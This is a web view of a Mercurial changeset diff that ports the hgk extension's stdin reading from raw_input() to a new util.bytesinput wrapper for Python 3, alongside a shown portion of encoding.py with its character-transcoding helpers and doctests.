##// END OF EJS Templates
py3: introduce a wrapper for __builtins__.{raw_,}input()...
Augie Fackler -
r33838:7d5bc0e5 default
parent child Browse files
Show More
@@ -1,350 +1,351 b''
1 1 # Minimal support for git commands on an hg repository
2 2 #
3 3 # Copyright 2005, 2006 Chris Mason <mason@suse.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 '''browse the repository in a graphical way
9 9
10 10 The hgk extension allows browsing the history of a repository in a
11 11 graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not
12 12 distributed with Mercurial.)
13 13
14 14 hgk consists of two parts: a Tcl script that does the displaying and
15 15 querying of information, and an extension to Mercurial named hgk.py,
16 16 which provides hooks for hgk to get information. hgk can be found in
17 17 the contrib directory, and the extension is shipped in the hgext
18 18 repository, and needs to be enabled.
19 19
20 20 The :hg:`view` command will launch the hgk Tcl script. For this command
21 21 to work, hgk must be in your search path. Alternately, you can specify
22 22 the path to hgk in your configuration file::
23 23
24 24 [hgk]
25 25 path = /location/of/hgk
26 26
27 27 hgk can make use of the extdiff extension to visualize revisions.
28 28 Assuming you had already configured extdiff vdiff command, just add::
29 29
30 30 [hgk]
31 31 vdiff=vdiff
32 32
33 33 Revisions context menu will now display additional entries to fire
34 34 vdiff on hovered and selected revisions.
35 35 '''
36 36
37 37 from __future__ import absolute_import
38 38
39 39 import os
40 40
41 41 from mercurial.i18n import _
42 42 from mercurial.node import (
43 43 nullid,
44 44 nullrev,
45 45 short,
46 46 )
47 47 from mercurial import (
48 48 commands,
49 49 obsolete,
50 50 patch,
51 51 registrar,
52 52 scmutil,
53 util,
53 54 )
54 55
55 56 cmdtable = {}
56 57 command = registrar.command(cmdtable)
57 58 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
58 59 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
59 60 # be specifying the version(s) of Mercurial they are tested with, or
60 61 # leave the attribute unspecified.
61 62 testedwith = 'ships-with-hg-core'
62 63
63 64 @command('debug-diff-tree',
64 65 [('p', 'patch', None, _('generate patch')),
65 66 ('r', 'recursive', None, _('recursive')),
66 67 ('P', 'pretty', None, _('pretty')),
67 68 ('s', 'stdin', None, _('stdin')),
68 69 ('C', 'copy', None, _('detect copies')),
69 70 ('S', 'search', "", _('search'))],
70 71 ('[OPTION]... NODE1 NODE2 [FILE]...'),
71 72 inferrepo=True)
72 73 def difftree(ui, repo, node1=None, node2=None, *files, **opts):
73 74 """diff trees from two commits"""
74 75 def __difftree(repo, node1, node2, files=None):
75 76 assert node2 is not None
76 77 if files is None:
77 78 files = []
78 79 mmap = repo[node1].manifest()
79 80 mmap2 = repo[node2].manifest()
80 81 m = scmutil.match(repo[node1], files)
81 82 modified, added, removed = repo.status(node1, node2, m)[:3]
82 83 empty = short(nullid)
83 84
84 85 for f in modified:
85 86 # TODO get file permissions
86 87 ui.write((":100664 100664 %s %s M\t%s\t%s\n") %
87 88 (short(mmap[f]), short(mmap2[f]), f, f))
88 89 for f in added:
89 90 ui.write((":000000 100664 %s %s N\t%s\t%s\n") %
90 91 (empty, short(mmap2[f]), f, f))
91 92 for f in removed:
92 93 ui.write((":100664 000000 %s %s D\t%s\t%s\n") %
93 94 (short(mmap[f]), empty, f, f))
94 95 ##
95 96
96 97 while True:
97 98 if opts['stdin']:
98 99 try:
99 line = raw_input().split(' ')
100 line = util.bytesinput(ui.fin, ui.fout).split(' ')
100 101 node1 = line[0]
101 102 if len(line) > 1:
102 103 node2 = line[1]
103 104 else:
104 105 node2 = None
105 106 except EOFError:
106 107 break
107 108 node1 = repo.lookup(node1)
108 109 if node2:
109 110 node2 = repo.lookup(node2)
110 111 else:
111 112 node2 = node1
112 113 node1 = repo.changelog.parents(node1)[0]
113 114 if opts['patch']:
114 115 if opts['pretty']:
115 116 catcommit(ui, repo, node2, "")
116 117 m = scmutil.match(repo[node1], files)
117 118 diffopts = patch.difffeatureopts(ui)
118 119 diffopts.git = True
119 120 chunks = patch.diff(repo, node1, node2, match=m,
120 121 opts=diffopts)
121 122 for chunk in chunks:
122 123 ui.write(chunk)
123 124 else:
124 125 __difftree(repo, node1, node2, files=files)
125 126 if not opts['stdin']:
126 127 break
127 128
128 129 def catcommit(ui, repo, n, prefix, ctx=None):
129 130 nlprefix = '\n' + prefix
130 131 if ctx is None:
131 132 ctx = repo[n]
132 133 # use ctx.node() instead ??
133 134 ui.write(("tree %s\n" % short(ctx.changeset()[0])))
134 135 for p in ctx.parents():
135 136 ui.write(("parent %s\n" % p))
136 137
137 138 date = ctx.date()
138 139 description = ctx.description().replace("\0", "")
139 140 ui.write(("author %s %s %s\n" % (ctx.user(), int(date[0]), date[1])))
140 141
141 142 if 'committer' in ctx.extra():
142 143 ui.write(("committer %s\n" % ctx.extra()['committer']))
143 144
144 145 ui.write(("revision %d\n" % ctx.rev()))
145 146 ui.write(("branch %s\n" % ctx.branch()))
146 147 if obsolete.isenabled(repo, obsolete.createmarkersopt):
147 148 if ctx.obsolete():
148 149 ui.write(("obsolete\n"))
149 150 ui.write(("phase %s\n\n" % ctx.phasestr()))
150 151
151 152 if prefix != "":
152 153 ui.write("%s%s\n" % (prefix,
153 154 description.replace('\n', nlprefix).strip()))
154 155 else:
155 156 ui.write(description + "\n")
156 157 if prefix:
157 158 ui.write('\0')
158 159
159 160 @command('debug-merge-base', [], _('REV REV'))
160 161 def base(ui, repo, node1, node2):
161 162 """output common ancestor information"""
162 163 node1 = repo.lookup(node1)
163 164 node2 = repo.lookup(node2)
164 165 n = repo.changelog.ancestor(node1, node2)
165 166 ui.write(short(n) + "\n")
166 167
167 168 @command('debug-cat-file',
168 169 [('s', 'stdin', None, _('stdin'))],
169 170 _('[OPTION]... TYPE FILE'),
170 171 inferrepo=True)
171 172 def catfile(ui, repo, type=None, r=None, **opts):
172 173 """cat a specific revision"""
173 174 # in stdin mode, every line except the commit is prefixed with two
174 175 # spaces. This way the our caller can find the commit without magic
175 176 # strings
176 177 #
177 178 prefix = ""
178 179 if opts['stdin']:
179 180 try:
180 (type, r) = raw_input().split(' ')
181 (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
181 182 prefix = " "
182 183 except EOFError:
183 184 return
184 185
185 186 else:
186 187 if not type or not r:
187 188 ui.warn(_("cat-file: type or revision not supplied\n"))
188 189 commands.help_(ui, 'cat-file')
189 190
190 191 while r:
191 192 if type != "commit":
192 193 ui.warn(_("aborting hg cat-file only understands commits\n"))
193 194 return 1
194 195 n = repo.lookup(r)
195 196 catcommit(ui, repo, n, prefix)
196 197 if opts['stdin']:
197 198 try:
198 (type, r) = raw_input().split(' ')
199 (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
199 200 except EOFError:
200 201 break
201 202 else:
202 203 break
203 204
204 205 # git rev-tree is a confusing thing. You can supply a number of
205 206 # commit sha1s on the command line, and it walks the commit history
206 207 # telling you which commits are reachable from the supplied ones via
207 208 # a bitmask based on arg position.
208 209 # you can specify a commit to stop at by starting the sha1 with ^
209 210 def revtree(ui, args, repo, full="tree", maxnr=0, parents=False):
210 211 def chlogwalk():
211 212 count = len(repo)
212 213 i = count
213 214 l = [0] * 100
214 215 chunk = 100
215 216 while True:
216 217 if chunk > i:
217 218 chunk = i
218 219 i = 0
219 220 else:
220 221 i -= chunk
221 222
222 223 for x in xrange(chunk):
223 224 if i + x >= count:
224 225 l[chunk - x:] = [0] * (chunk - x)
225 226 break
226 227 if full is not None:
227 228 if (i + x) in repo:
228 229 l[x] = repo[i + x]
229 230 l[x].changeset() # force reading
230 231 else:
231 232 if (i + x) in repo:
232 233 l[x] = 1
233 234 for x in xrange(chunk - 1, -1, -1):
234 235 if l[x] != 0:
235 236 yield (i + x, full is not None and l[x] or None)
236 237 if i == 0:
237 238 break
238 239
239 240 # calculate and return the reachability bitmask for sha
240 241 def is_reachable(ar, reachable, sha):
241 242 if len(ar) == 0:
242 243 return 1
243 244 mask = 0
244 245 for i in xrange(len(ar)):
245 246 if sha in reachable[i]:
246 247 mask |= 1 << i
247 248
248 249 return mask
249 250
250 251 reachable = []
251 252 stop_sha1 = []
252 253 want_sha1 = []
253 254 count = 0
254 255
255 256 # figure out which commits they are asking for and which ones they
256 257 # want us to stop on
257 258 for i, arg in enumerate(args):
258 259 if arg.startswith('^'):
259 260 s = repo.lookup(arg[1:])
260 261 stop_sha1.append(s)
261 262 want_sha1.append(s)
262 263 elif arg != 'HEAD':
263 264 want_sha1.append(repo.lookup(arg))
264 265
265 266 # calculate the graph for the supplied commits
266 267 for i, n in enumerate(want_sha1):
267 268 reachable.append(set())
268 269 visit = [n]
269 270 reachable[i].add(n)
270 271 while visit:
271 272 n = visit.pop(0)
272 273 if n in stop_sha1:
273 274 continue
274 275 for p in repo.changelog.parents(n):
275 276 if p not in reachable[i]:
276 277 reachable[i].add(p)
277 278 visit.append(p)
278 279 if p in stop_sha1:
279 280 continue
280 281
281 282 # walk the repository looking for commits that are in our
282 283 # reachability graph
283 284 for i, ctx in chlogwalk():
284 285 if i not in repo:
285 286 continue
286 287 n = repo.changelog.node(i)
287 288 mask = is_reachable(want_sha1, reachable, n)
288 289 if mask:
289 290 parentstr = ""
290 291 if parents:
291 292 pp = repo.changelog.parents(n)
292 293 if pp[0] != nullid:
293 294 parentstr += " " + short(pp[0])
294 295 if pp[1] != nullid:
295 296 parentstr += " " + short(pp[1])
296 297 if not full:
297 298 ui.write("%s%s\n" % (short(n), parentstr))
298 299 elif full == "commit":
299 300 ui.write("%s%s\n" % (short(n), parentstr))
300 301 catcommit(ui, repo, n, ' ', ctx)
301 302 else:
302 303 (p1, p2) = repo.changelog.parents(n)
303 304 (h, h1, h2) = map(short, (n, p1, p2))
304 305 (i1, i2) = map(repo.changelog.rev, (p1, p2))
305 306
306 307 date = ctx.date()[0]
307 308 ui.write("%s %s:%s" % (date, h, mask))
308 309 mask = is_reachable(want_sha1, reachable, p1)
309 310 if i1 != nullrev and mask > 0:
310 311 ui.write("%s:%s " % (h1, mask)),
311 312 mask = is_reachable(want_sha1, reachable, p2)
312 313 if i2 != nullrev and mask > 0:
313 314 ui.write("%s:%s " % (h2, mask))
314 315 ui.write("\n")
315 316 if maxnr and count >= maxnr:
316 317 break
317 318 count += 1
318 319
319 320 # git rev-list tries to order things by date, and has the ability to stop
320 321 # at a given commit without walking the whole repo. TODO add the stop
321 322 # parameter
322 323 @command('debug-rev-list',
323 324 [('H', 'header', None, _('header')),
324 325 ('t', 'topo-order', None, _('topo-order')),
325 326 ('p', 'parents', None, _('parents')),
326 327 ('n', 'max-count', 0, _('max-count'))],
327 328 ('[OPTION]... REV...'))
328 329 def revlist(ui, repo, *revs, **opts):
329 330 """print revisions"""
330 331 if opts['header']:
331 332 full = "commit"
332 333 else:
333 334 full = None
334 335 copy = [x for x in revs]
335 336 revtree(ui, copy, repo, full, opts['max_count'], opts['parents'])
336 337
337 338 @command('view',
338 339 [('l', 'limit', '',
339 340 _('limit number of changes displayed'), _('NUM'))],
340 341 _('[-l LIMIT] [REVRANGE]'))
341 342 def view(ui, repo, *etc, **opts):
342 343 "start interactive history viewer"
343 344 os.chdir(repo.root)
344 345 optstr = ' '.join(['--%s %s' % (k, v) for k, v in opts.iteritems() if v])
345 346 if repo.filtername is None:
346 347 optstr += '--hidden'
347 348
348 349 cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc))
349 350 ui.debug("running %s\n" % cmd)
350 351 ui.system(cmd, blockedtag='hgk_view')
@@ -1,575 +1,589 b''
1 1 # encoding.py - character transcoding support for Mercurial
2 2 #
3 3 # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import array
11 import io
11 12 import locale
12 13 import os
13 14 import unicodedata
14 15
15 16 from . import (
16 17 error,
17 18 policy,
18 19 pycompat,
19 20 )
20 21
21 22 charencode = policy.importmod(r'charencode')
22 23
23 24 asciilower = charencode.asciilower
24 25 asciiupper = charencode.asciiupper
25 26
26 27 _sysstr = pycompat.sysstr
27 28
28 29 if pycompat.ispy3:
29 30 unichr = chr
30 31
31 32 # These unicode characters are ignored by HFS+ (Apple Technote 1150,
32 33 # "Unicode Subtleties"), so we need to ignore them in some places for
33 34 # sanity.
34 35 _ignore = [unichr(int(x, 16)).encode("utf-8") for x in
35 36 "200c 200d 200e 200f 202a 202b 202c 202d 202e "
36 37 "206a 206b 206c 206d 206e 206f feff".split()]
37 38 # verify the next function will work
38 39 assert all(i.startswith(("\xe2", "\xef")) for i in _ignore)
39 40
40 41 def hfsignoreclean(s):
41 42 """Remove codepoints ignored by HFS+ from s.
42 43
43 44 >>> hfsignoreclean(u'.h\u200cg'.encode('utf-8'))
44 45 '.hg'
45 46 >>> hfsignoreclean(u'.h\ufeffg'.encode('utf-8'))
46 47 '.hg'
47 48 """
48 49 if "\xe2" in s or "\xef" in s:
49 50 for c in _ignore:
50 51 s = s.replace(c, '')
51 52 return s
52 53
53 54 # encoding.environ is provided read-only, which may not be used to modify
54 55 # the process environment
55 56 _nativeenviron = (not pycompat.ispy3 or os.supports_bytes_environ)
56 57 if not pycompat.ispy3:
57 58 environ = os.environ # re-exports
58 59 elif _nativeenviron:
59 60 environ = os.environb # re-exports
60 61 else:
61 62 # preferred encoding isn't known yet; use utf-8 to avoid unicode error
62 63 # and recreate it once encoding is settled
63 64 environ = dict((k.encode(u'utf-8'), v.encode(u'utf-8'))
64 65 for k, v in os.environ.items()) # re-exports
65 66
66 67 _encodingfixers = {
67 68 '646': lambda: 'ascii',
68 69 'ANSI_X3.4-1968': lambda: 'ascii',
69 70 }
70 71
71 72 try:
72 73 encoding = environ.get("HGENCODING")
73 74 if not encoding:
74 75 encoding = locale.getpreferredencoding().encode('ascii') or 'ascii'
75 76 encoding = _encodingfixers.get(encoding, lambda: encoding)()
76 77 except locale.Error:
77 78 encoding = 'ascii'
78 79 encodingmode = environ.get("HGENCODINGMODE", "strict")
79 80 fallbackencoding = 'ISO-8859-1'
80 81
81 82 class localstr(bytes):
82 83 '''This class allows strings that are unmodified to be
83 84 round-tripped to the local encoding and back'''
84 85 def __new__(cls, u, l):
85 86 s = bytes.__new__(cls, l)
86 87 s._utf8 = u
87 88 return s
88 89 def __hash__(self):
89 90 return hash(self._utf8) # avoid collisions in local string space
90 91
91 92 def tolocal(s):
92 93 """
93 94 Convert a string from internal UTF-8 to local encoding
94 95
95 96 All internal strings should be UTF-8 but some repos before the
96 97 implementation of locale support may contain latin1 or possibly
97 98 other character sets. We attempt to decode everything strictly
98 99 using UTF-8, then Latin-1, and failing that, we use UTF-8 and
99 100 replace unknown characters.
100 101
101 102 The localstr class is used to cache the known UTF-8 encoding of
102 103 strings next to their local representation to allow lossless
103 104 round-trip conversion back to UTF-8.
104 105
105 106 >>> u = 'foo: \\xc3\\xa4' # utf-8
106 107 >>> l = tolocal(u)
107 108 >>> l
108 109 'foo: ?'
109 110 >>> fromlocal(l)
110 111 'foo: \\xc3\\xa4'
111 112 >>> u2 = 'foo: \\xc3\\xa1'
112 113 >>> d = { l: 1, tolocal(u2): 2 }
113 114 >>> len(d) # no collision
114 115 2
115 116 >>> 'foo: ?' in d
116 117 False
117 118 >>> l1 = 'foo: \\xe4' # historical latin1 fallback
118 119 >>> l = tolocal(l1)
119 120 >>> l
120 121 'foo: ?'
121 122 >>> fromlocal(l) # magically in utf-8
122 123 'foo: \\xc3\\xa4'
123 124 """
124 125
125 126 try:
126 127 try:
127 128 # make sure string is actually stored in UTF-8
128 129 u = s.decode('UTF-8')
129 130 if encoding == 'UTF-8':
130 131 # fast path
131 132 return s
132 133 r = u.encode(_sysstr(encoding), u"replace")
133 134 if u == r.decode(_sysstr(encoding)):
134 135 # r is a safe, non-lossy encoding of s
135 136 return r
136 137 return localstr(s, r)
137 138 except UnicodeDecodeError:
138 139 # we should only get here if we're looking at an ancient changeset
139 140 try:
140 141 u = s.decode(_sysstr(fallbackencoding))
141 142 r = u.encode(_sysstr(encoding), u"replace")
142 143 if u == r.decode(_sysstr(encoding)):
143 144 # r is a safe, non-lossy encoding of s
144 145 return r
145 146 return localstr(u.encode('UTF-8'), r)
146 147 except UnicodeDecodeError:
147 148 u = s.decode("utf-8", "replace") # last ditch
148 149 # can't round-trip
149 150 return u.encode(_sysstr(encoding), u"replace")
150 151 except LookupError as k:
151 152 raise error.Abort(k, hint="please check your locale settings")
152 153
153 154 def fromlocal(s):
154 155 """
155 156 Convert a string from the local character encoding to UTF-8
156 157
157 158 We attempt to decode strings using the encoding mode set by
158 159 HGENCODINGMODE, which defaults to 'strict'. In this mode, unknown
159 160 characters will cause an error message. Other modes include
160 161 'replace', which replaces unknown characters with a special
161 162 Unicode character, and 'ignore', which drops the character.
162 163 """
163 164
164 165 # can we do a lossless round-trip?
165 166 if isinstance(s, localstr):
166 167 return s._utf8
167 168
168 169 try:
169 170 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
170 171 return u.encode("utf-8")
171 172 except UnicodeDecodeError as inst:
172 173 sub = s[max(0, inst.start - 10):inst.start + 10]
173 174 raise error.Abort("decoding near '%s': %s!" % (sub, inst))
174 175 except LookupError as k:
175 176 raise error.Abort(k, hint="please check your locale settings")
176 177
177 178 def unitolocal(u):
178 179 """Convert a unicode string to a byte string of local encoding"""
179 180 return tolocal(u.encode('utf-8'))
180 181
181 182 def unifromlocal(s):
182 183 """Convert a byte string of local encoding to a unicode string"""
183 184 return fromlocal(s).decode('utf-8')
184 185
185 186 def unimethod(bytesfunc):
186 187 """Create a proxy method that forwards __unicode__() and __str__() of
187 188 Python 3 to __bytes__()"""
188 189 def unifunc(obj):
189 190 return unifromlocal(bytesfunc(obj))
190 191 return unifunc
191 192
192 193 # converter functions between native str and byte string. use these if the
193 194 # character encoding is not aware (e.g. exception message) or is known to
194 195 # be locale dependent (e.g. date formatting.)
195 196 if pycompat.ispy3:
196 197 strtolocal = unitolocal
197 198 strfromlocal = unifromlocal
198 199 strmethod = unimethod
199 200 else:
200 201 strtolocal = pycompat.identity
201 202 strfromlocal = pycompat.identity
202 203 strmethod = pycompat.identity
203 204
204 205 if not _nativeenviron:
205 206 # now encoding and helper functions are available, recreate the environ
206 207 # dict to be exported to other modules
207 208 environ = dict((tolocal(k.encode(u'utf-8')), tolocal(v.encode(u'utf-8')))
208 209 for k, v in os.environ.items()) # re-exports
209 210
210 211 # How to treat ambiguous-width characters. Set to 'wide' to treat as wide.
211 212 _wide = _sysstr(environ.get("HGENCODINGAMBIGUOUS", "narrow") == "wide"
212 213 and "WFA" or "WF")
213 214
214 215 def colwidth(s):
215 216 "Find the column width of a string for display in the local encoding"
216 217 return ucolwidth(s.decode(_sysstr(encoding), u'replace'))
217 218
218 219 def ucolwidth(d):
219 220 "Find the column width of a Unicode string for display"
220 221 eaw = getattr(unicodedata, 'east_asian_width', None)
221 222 if eaw is not None:
222 223 return sum([eaw(c) in _wide and 2 or 1 for c in d])
223 224 return len(d)
224 225
225 226 def getcols(s, start, c):
226 227 '''Use colwidth to find a c-column substring of s starting at byte
227 228 index start'''
228 229 for x in xrange(start + c, len(s)):
229 230 t = s[start:x]
230 231 if colwidth(t) == c:
231 232 return t
232 233
233 234 def trim(s, width, ellipsis='', leftside=False):
234 235 """Trim string 's' to at most 'width' columns (including 'ellipsis').
235 236
236 237 If 'leftside' is True, left side of string 's' is trimmed.
237 238 'ellipsis' is always placed at trimmed side.
238 239
239 240 >>> ellipsis = '+++'
240 241 >>> from . import encoding
241 242 >>> encoding.encoding = 'utf-8'
242 243 >>> t= '1234567890'
243 244 >>> print trim(t, 12, ellipsis=ellipsis)
244 245 1234567890
245 246 >>> print trim(t, 10, ellipsis=ellipsis)
246 247 1234567890
247 248 >>> print trim(t, 8, ellipsis=ellipsis)
248 249 12345+++
249 250 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
250 251 +++67890
251 252 >>> print trim(t, 8)
252 253 12345678
253 254 >>> print trim(t, 8, leftside=True)
254 255 34567890
255 256 >>> print trim(t, 3, ellipsis=ellipsis)
256 257 +++
257 258 >>> print trim(t, 1, ellipsis=ellipsis)
258 259 +
259 260 >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
260 261 >>> t = u.encode(encoding.encoding)
261 262 >>> print trim(t, 12, ellipsis=ellipsis)
262 263 \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
263 264 >>> print trim(t, 10, ellipsis=ellipsis)
264 265 \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
265 266 >>> print trim(t, 8, ellipsis=ellipsis)
266 267 \xe3\x81\x82\xe3\x81\x84+++
267 268 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
268 269 +++\xe3\x81\x88\xe3\x81\x8a
269 270 >>> print trim(t, 5)
270 271 \xe3\x81\x82\xe3\x81\x84
271 272 >>> print trim(t, 5, leftside=True)
272 273 \xe3\x81\x88\xe3\x81\x8a
273 274 >>> print trim(t, 4, ellipsis=ellipsis)
274 275 +++
275 276 >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
276 277 +++
277 278 >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
278 279 >>> print trim(t, 12, ellipsis=ellipsis)
279 280 \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
280 281 >>> print trim(t, 10, ellipsis=ellipsis)
281 282 \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
282 283 >>> print trim(t, 8, ellipsis=ellipsis)
283 284 \x11\x22\x33\x44\x55+++
284 285 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
285 286 +++\x66\x77\x88\x99\xaa
286 287 >>> print trim(t, 8)
287 288 \x11\x22\x33\x44\x55\x66\x77\x88
288 289 >>> print trim(t, 8, leftside=True)
289 290 \x33\x44\x55\x66\x77\x88\x99\xaa
290 291 >>> print trim(t, 3, ellipsis=ellipsis)
291 292 +++
292 293 >>> print trim(t, 1, ellipsis=ellipsis)
293 294 +
294 295 """
295 296 try:
296 297 u = s.decode(_sysstr(encoding))
297 298 except UnicodeDecodeError:
298 299 if len(s) <= width: # trimming is not needed
299 300 return s
300 301 width -= len(ellipsis)
301 302 if width <= 0: # no enough room even for ellipsis
302 303 return ellipsis[:width + len(ellipsis)]
303 304 if leftside:
304 305 return ellipsis + s[-width:]
305 306 return s[:width] + ellipsis
306 307
307 308 if ucolwidth(u) <= width: # trimming is not needed
308 309 return s
309 310
310 311 width -= len(ellipsis)
311 312 if width <= 0: # no enough room even for ellipsis
312 313 return ellipsis[:width + len(ellipsis)]
313 314
314 315 if leftside:
315 316 uslice = lambda i: u[i:]
316 317 concat = lambda s: ellipsis + s
317 318 else:
318 319 uslice = lambda i: u[:-i]
319 320 concat = lambda s: s + ellipsis
320 321 for i in xrange(1, len(u)):
321 322 usub = uslice(i)
322 323 if ucolwidth(usub) <= width:
323 324 return concat(usub.encode(_sysstr(encoding)))
324 325 return ellipsis # no enough room for multi-column characters
325 326
326 327 def lower(s):
327 328 "best-effort encoding-aware case-folding of local string s"
328 329 try:
329 330 return asciilower(s)
330 331 except UnicodeDecodeError:
331 332 pass
332 333 try:
333 334 if isinstance(s, localstr):
334 335 u = s._utf8.decode("utf-8")
335 336 else:
336 337 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
337 338
338 339 lu = u.lower()
339 340 if u == lu:
340 341 return s # preserve localstring
341 342 return lu.encode(_sysstr(encoding))
342 343 except UnicodeError:
343 344 return s.lower() # we don't know how to fold this except in ASCII
344 345 except LookupError as k:
345 346 raise error.Abort(k, hint="please check your locale settings")
346 347
347 348 def upper(s):
348 349 "best-effort encoding-aware case-folding of local string s"
349 350 try:
350 351 return asciiupper(s)
351 352 except UnicodeDecodeError:
352 353 return upperfallback(s)
353 354
354 355 def upperfallback(s):
355 356 try:
356 357 if isinstance(s, localstr):
357 358 u = s._utf8.decode("utf-8")
358 359 else:
359 360 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
360 361
361 362 uu = u.upper()
362 363 if u == uu:
363 364 return s # preserve localstring
364 365 return uu.encode(_sysstr(encoding))
365 366 except UnicodeError:
366 367 return s.upper() # we don't know how to fold this except in ASCII
367 368 except LookupError as k:
368 369 raise error.Abort(k, hint="please check your locale settings")
369 370
370 371 class normcasespecs(object):
371 372 '''what a platform's normcase does to ASCII strings
372 373
373 374 This is specified per platform, and should be consistent with what normcase
374 375 on that platform actually does.
375 376
376 377 lower: normcase lowercases ASCII strings
377 378 upper: normcase uppercases ASCII strings
378 379 other: the fallback function should always be called
379 380
380 381 This should be kept in sync with normcase_spec in util.h.'''
381 382 lower = -1
382 383 upper = 1
383 384 other = 0
384 385
385 386 _jsonmap = []
386 387 _jsonmap.extend("\\u%04x" % x for x in range(32))
387 388 _jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
388 389 _jsonmap.append('\\u007f')
389 390 _jsonmap[0x09] = '\\t'
390 391 _jsonmap[0x0a] = '\\n'
391 392 _jsonmap[0x22] = '\\"'
392 393 _jsonmap[0x5c] = '\\\\'
393 394 _jsonmap[0x08] = '\\b'
394 395 _jsonmap[0x0c] = '\\f'
395 396 _jsonmap[0x0d] = '\\r'
396 397 _paranoidjsonmap = _jsonmap[:]
397 398 _paranoidjsonmap[0x3c] = '\\u003c' # '<' (e.g. escape "</script>")
398 399 _paranoidjsonmap[0x3e] = '\\u003e' # '>'
399 400 _jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
400 401
401 402 def jsonescape(s, paranoid=False):
402 403 '''returns a string suitable for JSON
403 404
404 405 JSON is problematic for us because it doesn't support non-Unicode
405 406 bytes. To deal with this, we take the following approach:
406 407
407 408 - localstr objects are converted back to UTF-8
408 409 - valid UTF-8/ASCII strings are passed as-is
409 410 - other strings are converted to UTF-8b surrogate encoding
410 411 - apply JSON-specified string escaping
411 412
412 413 (escapes are doubled in these tests)
413 414
414 415 >>> jsonescape('this is a test')
415 416 'this is a test'
416 417 >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
417 418 'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
418 419 >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\')
419 420 'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\'
420 421 >>> jsonescape('a weird byte: \\xdd')
421 422 'a weird byte: \\xed\\xb3\\x9d'
422 423 >>> jsonescape('utf-8: caf\\xc3\\xa9')
423 424 'utf-8: caf\\xc3\\xa9'
424 425 >>> jsonescape('')
425 426 ''
426 427
427 428 If paranoid, non-ascii and common troublesome characters are also escaped.
428 429 This is suitable for web output.
429 430
430 431 >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
431 432 'escape boundary: ~ \\\\u007f \\\\u0080'
432 433 >>> jsonescape('a weird byte: \\xdd', paranoid=True)
433 434 'a weird byte: \\\\udcdd'
434 435 >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True)
435 436 'utf-8: caf\\\\u00e9'
436 437 >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
437 438 'non-BMP: \\\\ud834\\\\udd1e'
438 439 >>> jsonescape('<foo@example.org>', paranoid=True)
439 440 '\\\\u003cfoo@example.org\\\\u003e'
440 441 '''
441 442
442 443 if paranoid:
443 444 jm = _paranoidjsonmap
444 445 else:
445 446 jm = _jsonmap
446 447
447 448 u8chars = toutf8b(s)
448 449 try:
449 450 return ''.join(jm[x] for x in bytearray(u8chars)) # fast path
450 451 except IndexError:
451 452 pass
452 453 # non-BMP char is represented as UTF-16 surrogate pair
453 454 u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
454 455 u16codes.pop(0) # drop BOM
455 456 return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
456 457
457 458 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
458 459
459 460 def getutf8char(s, pos):
460 461 '''get the next full utf-8 character in the given string, starting at pos
461 462
462 463 Raises a UnicodeError if the given location does not start a valid
463 464 utf-8 character.
464 465 '''
465 466
466 467 # find how many bytes to attempt decoding from first nibble
467 468 l = _utf8len[ord(s[pos]) >> 4]
468 469 if not l: # ascii
469 470 return s[pos]
470 471
471 472 c = s[pos:pos + l]
472 473 # validate with attempted decode
473 474 c.decode("utf-8")
474 475 return c
475 476
476 477 def toutf8b(s):
477 478 '''convert a local, possibly-binary string into UTF-8b
478 479
479 480 This is intended as a generic method to preserve data when working
480 481 with schemes like JSON and XML that have no provision for
481 482 arbitrary byte strings. As Mercurial often doesn't know
482 483 what encoding data is in, we use so-called UTF-8b.
483 484
484 485 If a string is already valid UTF-8 (or ASCII), it passes unmodified.
485 486 Otherwise, unsupported bytes are mapped to UTF-16 surrogate range,
486 487 uDC00-uDCFF.
487 488
488 489 Principles of operation:
489 490
490 491 - ASCII and UTF-8 data successfully round-trips and is understood
491 492 by Unicode-oriented clients
492 493 - filenames and file contents in arbitrary other encodings can have
493 494 be round-tripped or recovered by clueful clients
494 495 - local strings that have a cached known UTF-8 encoding (aka
495 496 localstr) get sent as UTF-8 so Unicode-oriented clients get the
496 497 Unicode data they want
497 498 - because we must preserve UTF-8 bytestring in places such as
498 499 filenames, metadata can't be roundtripped without help
499 500
500 501 (Note: "UTF-8b" often refers to decoding a mix of valid UTF-8 and
501 502 arbitrary bytes into an internal Unicode format that can be
502 503 re-encoded back into the original. Here we are exposing the
